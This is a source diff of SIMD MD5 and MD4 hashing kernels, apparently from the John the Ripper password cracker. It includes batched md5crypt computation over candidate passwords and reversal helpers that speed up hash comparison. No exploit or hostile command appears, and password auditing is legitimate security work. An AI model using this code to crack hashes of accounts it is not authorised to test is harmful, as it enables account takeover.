+	MD5_STEP(MD5_G, b, c, d, a, 0, 0xe9b6c7aa, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 5, 0xd62f105d, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 10, 0x02441453, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 15, 0xd8a1e681, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 4, 0xe7d3fbc8, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 9, 0x21e1cde6, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 14, 0xc33707d6, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 3, 0xf4d50d87, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 8, 0x455a14ed, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 13, 0xa9e3e905, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 2, 0xfcefa3f8, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 7, 0x676f02d9, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 12, 0x8d2a4c8a, 20)
+
+	/* Round 3 */
+	MD5_STEP(MD5_H, a, b, c, d, 5, 0xfffa3942, 4)
+	MD5_STEP(MD5_H2, d, a, b, c, 8, 0x8771f681, 11)
+	MD5_STEP_r16(MD5_H, c, d, a, b, 11, 0x6d9d6122, 16) MD5_STEP(
+		MD5_H2, b, c, d, a, 14, 0xfde5380c, 23)
+		MD5_STEP(MD5_H, a, b, c, d, 1, 0xa4beea44, 4) MD5_STEP(
+			MD5_H2, d, a, b, c, 4, 0x4bdecfa9, 11)
+			MD5_STEP_r16(MD5_H, c, d, a, b, 7, 0xf6bb4b60, 16) MD5_STEP(
+				MD5_H2, b, c, d, a, 10, 0xbebfbc70, 23)
+				MD5_STEP(MD5_H, a, b, c, d, 13, 0x289b7ec6, 4) MD5_STEP(
+					MD5_H2, d, a, b, c, 0, 0xeaa127fa, 11)
+					MD5_STEP_r16(MD5_H, c, d, a, b, 3, 0xd4ef3085, 16) MD5_STEP(
+						MD5_H2, b, c, d, a, 6, 0x04881d05, 23)
+						MD5_STEP(MD5_H, a, b, c, d, 9, 0xd9d4d039, 4) MD5_STEP(
+							MD5_H2, d, a, b, c, 12, 0xe6db99e5, 11)
+							MD5_STEP_r16(MD5_H, c, d, a, b, 15, 0x1fa27cf8, 16)
+								MD5_STEP(MD5_H2, b, c, d, a, 2, 0xc4ac5665, 23)
+
+		/* Round 4 */
+		MD5_STEP(MD5_I, a, b, c, d, 0, 0xf4292244, 6) MD5_STEP(
+			MD5_I, d, a, b, c, 7, 0x432aff97, 10)
+			MD5_STEP(MD5_I, c, d, a, b, 14, 0xab9423a7, 15) MD5_STEP(
+				MD5_I, b, c, d, a, 5, 0xfc93a039, 21)
+				MD5_STEP(MD5_I, a, b, c, d, 12, 0x655b59c3, 6) MD5_STEP(
+					MD5_I, d, a, b, c, 3, 0x8f0ccc92, 10)
+					MD5_STEP(MD5_I, c, d, a, b, 10, 0xffeff47d, 15) MD5_STEP(
+						MD5_I, b, c, d, a, 1, 0x85845dd1, 21)
+						MD5_STEP(MD5_I, a, b, c, d, 8, 0x6fa87e4f, 6) MD5_STEP(
+							MD5_I, d, a, b, c, 15, 0xfe2ce6e0, 10)
+							MD5_STEP(MD5_I, c, d, a, b, 6, 0xa3014314, 15)
+								MD5_STEP(MD5_I, b, c, d, a, 13, 0x4e0811a1, 21)
+									MD5_STEP(
+										MD5_I, a, b, c, d, 4, 0xf7537e82, 6)
+
+										if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		MD5_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+		}
+		return;
+	}
+
+	MD5_STEP(MD5_I, d, a, b, c, 11, 0xbd3af235, 10)
+	MD5_STEP(MD5_I, c, d, a, b, 2, 0x2ad7d2bb, 15)
+	MD5_STEP(MD5_I, b, c, d, a, 9, 0xeb86d391, 21)
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD5_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
+			}
+		}
+	}
+
+#if USE_EXPERIMENTAL
+	/*
+ * This is currently not used for MD5, and was observed to result
+ * in a significant performance regression (at least on XOP) just by sitting
+ * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
+ * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
+ */
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		MD5_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 4,
+									14 * 4,
+									13 * 4,
+									12 * 4,
+									11 * 4,
+									10 * 4,
+									9 * 4,
+									8 * 4,
+									7 * 4,
+									6 * 4,
+									5 * 4,
+									4 * 4,
+									3 * 4,
+									2 * 4,
+									1 * 4,
+									0 * 4);
+
+			vscatter_epi32(o + 0, idxs, a[i], 4);
+			vscatter_epi32(o + 1, idxs, b[i], 4);
+			vscatter_epi32(o + 2, idxs, c[i], 4);
+			vscatter_epi32(o + 3, idxs, d[i], 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[4];
+				uint32_t s[4 * VS32];
+			} tmp;
+
+			tmp.v[0] = a[i];
+			tmp.v[1] = b[i];
+			tmp.v[2] = c[i];
+			tmp.v[3] = d[i];
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else
+#endif
+		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+	}
+	else
+	{
+		MD5_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
+		}
+	}
+}
+
+#define GETPOS(i, index)                                                       \
+	((index & (VS32 - 1)) * 4 + (i & (0xffffffff - 3)) * VS32 + ((i) &3))
+
+static MAYBE_INLINE void mmxput(void * buf,
+								unsigned int index,
+								unsigned int bid,
+								unsigned int offset,
+								unsigned char * src,
+								unsigned int len)
+{
+	unsigned char * nbuf;
+	unsigned int i;
+
+	nbuf = ((unsigned char *) buf) + index / VS32 * 64 * VS32
+		   + bid * 64 * MD5_SSE_NUM_KEYS;
+	for (i = 0; i < len; i++) nbuf[GETPOS((offset + i), index)] = src[i];
+}
+
+static MAYBE_INLINE void mmxput2(void * buf, unsigned int bid, void * src)
+{
+	unsigned char * nbuf;
+	unsigned int i;
+
+	nbuf = ((unsigned char *) buf) + bid * 64 * MD5_SSE_NUM_KEYS;
+	MD5_PARA_DO(i)
+	memcpy(nbuf + i * 64 * VS32,
+		   ((unsigned char *) src) + i * 16 * VS32,
+		   16 * VS32);
+}
+
+#if (ARCH_SIZE >= 8) || defined(__i386__) || defined(__ARM_NEON__)
+#define BITALIGN(hi, lo, s) ((((uint64_t)(hi) << 32) | (lo)) >> (s))
+#else
+#define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s)))
+#endif
+
+static MAYBE_INLINE void mmxput3(void * buf,
+								 unsigned int bid,
+								 unsigned int * offset,
+								 unsigned int mult,
+								 unsigned int saltlen,
+								 void * src)
+{
+	unsigned int j;
+
+	MD5_PARA_DO(j)
+	{
+		unsigned int i;
+		unsigned int jm = j * VS32 * 4;
+		unsigned char * nbuf
+			= ((unsigned char *) buf) + bid * (64 * MD5_SSE_NUM_KEYS) + jm * 16;
+		unsigned int * s = (unsigned int *) src + jm;
+		for (i = 0; i < VS32; i++, s++)
+		{
+			unsigned int n = offset[i + jm / 4] * mult + saltlen;
+			unsigned int * d = (unsigned int *) (nbuf + (n & ~3U) * VS32) + i;
+
+			switch (n &= 3)
+			{
+				case 0:
+					d[0] = s[0];
+					d[1 * VS32] = s[1 * VS32];
+					d[2 * VS32] = s[2 * VS32];
+					d[3 * VS32] = s[3 * VS32];
+					break;
+#if 0
+			default:
+				n <<= 3;
+				{
+					unsigned int m = 32 - n;
+					d[0] = (d[0] & (0xffffffffU >> m)) | (s[0] << n);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], m);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], m);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], m);
+					d[4 * VS32] = (d[4 * VS32] & (0xffffffffU << n)) | (s[3 * VS32] >> m);
+				}
+#else
+				case 1:
+					d[0] = (d[0] & 0xffU) | (s[0] << 8);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 24);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 24);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 24);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xffffff00U) | (s[3 * VS32] >> 24);
+					break;
+				case 2:
+					d[0] = (d[0] & 0xffffU) | (s[0] << 16);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 16);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 16);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 16);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xffff0000U) | (s[3 * VS32] >> 16);
+					break;
+				case 3:
+					d[0] = (d[0] & 0xffffffU) | (s[0] << 24);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 8);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 8);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 8);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xff000000U) | (s[3 * VS32] >> 8);
+#endif
+			}
+		}
+	}
+}
+
+static MAYBE_INLINE void dispatch(unsigned char buffers[8]
+													   [64 * MD5_SSE_NUM_KEYS],
+								  unsigned int f[4 * MD5_SSE_NUM_KEYS],
+								  unsigned int length[MD5_SSE_NUM_KEYS],
+								  unsigned int saltlen)
+{
+	unsigned int i, j;
+	unsigned int bufferid;
+
+	i = 1000 / 42;
+	j = 0;
+	do
+	{
+		switch (j)
+		{
+			case 0:
+				bufferid = 0;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 21:
+				bufferid = 1;
+				mmxput3(buffers, bufferid, length, 1, 0, f);
+				break;
+			case 3:
+			case 9:
+			case 15:
+			case 27:
+			case 33:
+			case 39:
+				bufferid = 2;
+				mmxput3(buffers, bufferid, length, 2, 0, f);
+				break;
+			case 6:
+			case 12:
+			case 18:
+			case 24:
+			case 30:
+			case 36:
+				bufferid = 3;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 7:
+			case 35:
+				bufferid = 4;
+				mmxput3(buffers, bufferid, length, 1, saltlen, f);
+				break;
+			case 14:
+			case 28:
+				bufferid = 5;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 2:
+			case 4:
+			case 8:
+			case 10:
+			case 16:
+			case 20:
+			case 22:
+			case 26:
+			case 32:
+			case 34:
+			case 38:
+			case 40:
+				bufferid = 6;
+				mmxput2(buffers, bufferid, f);
+				break;
+			default:
+				bufferid = 7;
+				mmxput3(buffers, bufferid, length, 2, saltlen, f);
+				break;
+		}
+		SIMDmd5body((vtype *) &buffers[bufferid], f, NULL, SSEi_MIXED_IN);
+		if (j++ < 1000 % 42 - 1) continue;
+		if (j == 1000 % 42)
+		{
+			if (!i) break;
+			i--;
+			continue;
+		}
+		if (j >= 42) j = 0;
+	} while (1);
+}
+
+void md5cryptsse(unsigned char pwd[MD5_SSE_NUM_KEYS][16],
+				 unsigned char * salt,
+				 char * out,
+				 unsigned int md5_type)
+{
+	unsigned int length[MD5_SSE_NUM_KEYS];
+	unsigned int saltlen;
+	unsigned int i, j;
+	MD5_CTX ctx;
+	MD5_CTX tctx;
+	JTR_ALIGN(MEM_ALIGN_SIMD)
+	unsigned char buffers[8][64 * MD5_SSE_NUM_KEYS] = {{0}};
+	JTR_ALIGN(MEM_ALIGN_SIMD) unsigned int F[4 * MD5_SSE_NUM_KEYS];
+
+	saltlen = strlen((char *) salt);
+	for (i = 0; i < MD5_SSE_NUM_KEYS; i++)
+	{
+		unsigned int length_i = strlen((char *) pwd[i]);
+		unsigned int * bt;
+		unsigned int tf[4];
+
+		/* cas 0 fs */
+		mmxput(buffers, i, 0, 16, pwd[i], length_i);
+		mmxput(buffers, i, 0, length_i + 16, (unsigned char *) "\x80", 1);
+		/* cas 1 sf */
+		mmxput(buffers, i, 1, 0, pwd[i], length_i);
+		mmxput(buffers, i, 1, length_i + 16, (unsigned char *) "\x80", 1);
+		/* cas 2 ssf */
+		mmxput(buffers, i, 2, 0, pwd[i], length_i);
+		mmxput(buffers, i, 2, length_i, pwd[i], length_i);
+		mmxput(buffers, i, 2, length_i * 2 + 16, (unsigned char *) "\x80", 1);
+		/* cas 3 fss */
+		mmxput(buffers, i, 3, 16, pwd[i], length_i);
+		mmxput(buffers, i, 3, 16 + length_i, pwd[i], length_i);
+		mmxput(buffers, i, 3, length_i * 2 + 16, (unsigned char *) "\x80", 1);
+		/* cas 4 scf */
+		mmxput(buffers, i, 4, 0, pwd[i], length_i);
+		mmxput(buffers, i, 4, length_i, salt, saltlen);
+		mmxput(buffers,
+			   i,
+			   4,
+			   saltlen + length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 5 fcs */
+		mmxput(buffers, i, 5, 16, salt, saltlen);
+		mmxput(buffers, i, 5, 16 + saltlen, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   5,
+			   saltlen + length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 6 fcss */
+		mmxput(buffers, i, 6, 16, salt, saltlen);
+		mmxput(buffers, i, 6, 16 + saltlen, pwd[i], length_i);
+		mmxput(buffers, i, 6, 16 + saltlen + length_i, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   6,
+			   saltlen + 2 * length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 7 scsf */
+		mmxput(buffers, i, 7, 0, pwd[i], length_i);
+		mmxput(buffers, i, 7, length_i, salt, saltlen);
+		mmxput(buffers, i, 7, length_i + saltlen, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   7,
+			   saltlen + 2 * length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+
+		bt = (unsigned int *) &buffers[0];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + 16) << 3;
+		bt = (unsigned int *) &buffers[1];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + 16) << 3;
+		bt = (unsigned int *) &buffers[2];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + 16) << 3;
+		bt = (unsigned int *) &buffers[3];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + 16) << 3;
+		bt = (unsigned int *) &buffers[4];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[5];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[6];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[7];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + saltlen + 16) << 3;
+
+		MD5_Init(&ctx);
+		MD5_Update(&ctx, pwd[i], length_i);
+		if (md5_type == MD5_TYPE_STD)
+			MD5_Update(&ctx, "$1$", 3);
+		else if (md5_type == MD5_TYPE_APACHE)
+			MD5_Update(&ctx, "$apr1$", 6);
+		// else it's AIX and no prefix included
+		MD5_Update(&ctx, salt, saltlen);
+		MD5_Init(&tctx);
+		MD5_Update(&tctx, pwd[i], length_i);
+		MD5_Update(&tctx, salt, saltlen);
+		MD5_Update(&tctx, pwd[i], length_i);
+		MD5_Final((unsigned char *) tf, &tctx);
+		MD5_Update(&ctx, tf, length_i);
+		length[i] = length_i;
+		for (j = length_i; j; j >>= 1)
+			if (j & 1)
+				MD5_Update(&ctx, "\0", 1);
+			else
+				MD5_Update(&ctx, pwd[i], 1);
+		MD5_Final((unsigned char *) tf, &ctx);
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 0 * VS32] = tf[0];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 1 * VS32] = tf[1];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 2 * VS32] = tf[2];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 3 * VS32] = tf[3];
+	}
+	dispatch(buffers, F, length, saltlen);
+	memcpy(out, F, MD5_SSE_NUM_KEYS * 16);
+}
+#endif /* SIMD_PARA_MD5 */
+
+#if SIMD_PARA_MD4
+#define MD4_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD4)
+#define MD4_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD4; (x)++)
+
+#define MD4_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#if __AVX512F__
+#define MD4_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
+#elif !VCMOV_EMULATED
+#define MD4_G(x, y, z)                                                         \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vcmov((x[i]), (z[i]), (tmp[i]));
+#else
+#define MD4_G(x, y, z)                                                         \
+	tmp[i] = vor((y[i]), (z[i]));                                              \
+	tmp2[i] = vand((y[i]), (z[i]));                                            \
+	tmp[i] = vand((tmp[i]), (x[i]));                                           \
+	tmp[i] = vor((tmp[i]), (tmp2[i]));
+#endif
+
+#if __AVX512F__
+#define MD4_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+
+#define MD4_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#elif SIMD_PARA_MD4 < 3
+#define MD4_H(x, y, z)                                                         \
+	tmp2[i] = vxor((x[i]), (y[i]));                                            \
+	tmp[i] = vxor(tmp2[i], (z[i]));
+
+#define MD4_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
+#else
+#define MD4_H(x, y, z)                                                         \
+	tmp[i] = vxor((x[i]), (y[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (z[i]));
+
+#define MD4_H2(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#define MD4_STEP(f, a, b, c, d, x, t, s)                                       \
+	MD4_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], t);                                            \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		a[i] = vroti_epi32(a[i], (s));                                         \
+	}
+
+#define MD4_REV_STEP(f, a, b, c, d, x, t, s)                                   \
+	MD4_PARA_DO(i)                                                             \
+	{                                                                          \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+	}
+
+#define INIT_A 0x67452301
+#define INIT_B 0xefcdab89
+#define INIT_C 0x98badcfe
+#define INIT_D 0x10325476
+#define SQRT_3 0x6ed9eba1
+
+void md4_reverse(uint32_t * hash)
+{
+	hash[0] -= INIT_A;
+	hash[1] -= INIT_B;
+	hash[2] -= INIT_C;
+	hash[3] -= INIT_D;
+	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
+	hash[1] -= SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
+	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
+	hash[1] -= SQRT_3;
+}
+
+void md4_unreverse(uint32_t * hash)
+{
+	hash[1] += SQRT_3;
+	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
+	hash[1] += SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
+	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
+	hash[3] += INIT_D;
+	hash[2] += INIT_C;
+	hash[1] += INIT_B;
+	hash[0] += INIT_A;
+}
+
+#undef SQRT_3
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+void SIMDmd4body(vtype * _data,
+				 unsigned int * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_MD4];
+	vtype a[SIMD_PARA_MD4];
+	vtype b[SIMD_PARA_MD4];
+	vtype c[SIMD_PARA_MD4];
+	vtype d[SIMD_PARA_MD4];
+	vtype tmp[SIMD_PARA_MD4];
+#if (SIMD_PARA_MD4 < 3 || VCMOV_EMULATED) && !__AVX512F__
+	vtype tmp2[SIMD_PARA_MD4];
+#endif
+	vtype cst;
+	unsigned int i;
+	vtype * data;
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD4_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD4_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#endif
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+		data = _data;
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD4_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
+			}
+		}
+	}
+
+	/* Round 1 */
+	cst = vsetzero();
+	MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19)
+
+	/* Round 2 */
+	cst = vset1_epi32(0x5A827999L);
+	MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13)
+
+	/* Round 3 */
+	cst = vset1_epi32(0x6ED9EBA1L);
+	MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 8, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 12, cst, 15)
+	MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 10, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 14, cst, 15)
